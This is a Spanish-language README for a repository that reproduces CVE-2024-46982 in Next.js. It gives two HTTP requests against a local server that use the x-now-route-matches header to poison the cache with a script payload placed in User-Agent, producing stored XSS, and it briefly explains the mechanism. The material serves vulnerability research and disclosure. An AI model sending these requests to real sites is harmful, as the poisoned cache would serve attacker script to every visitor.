CVE-2024-46982-Reproduction

Primeros pasos

1. Instala Node.js LTS
2. npm install
3. npm run build
4. npm run start

Explotación 1: XSS almacenado mediante envenenamiento de caché

1. Envía la siguiente solicitud HTTP (Solicitud de ataque) utilizando cualquier cliente HTTP.

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Visita http://localhost:3000 (Solicitud normal) utilizando cualquier navegador web.

Explotación 2: XSS almacenado mediante envenenamiento de caché

1. Envía la siguiente solicitud HTTP (Solicitud de ataque) utilizando cualquier cliente HTTP, asegúrate de reemplazar "UiKoKFFGnF1td3mMyeDX5" con tu ".next/BUILD_ID"

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Visita http://localhost:3000 (Solicitud normal) utilizando cualquier navegador web.

¿Cómo funciona?

1. x-now-route-matches es un encabezado HTTP personalizado reconocido por Next.js. Cuando está presente, Next.js tratará la solicitud HTTP como "SSG" (Static Site Generation), por lo que la respuesta HTTP puede ser almacenada en caché (Cache-Control: s-maxage=1, stale-while-revalidate).

2. ?__nextDataReq=1 es una cadena de consulta reconocida por Next.js. Cuando está presente, Next.js tratará la solicitud HTTP como "Recuperando __NEXT_DATA__".

El informe completo se puede encontrar en la sección Créditos

Créditos

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir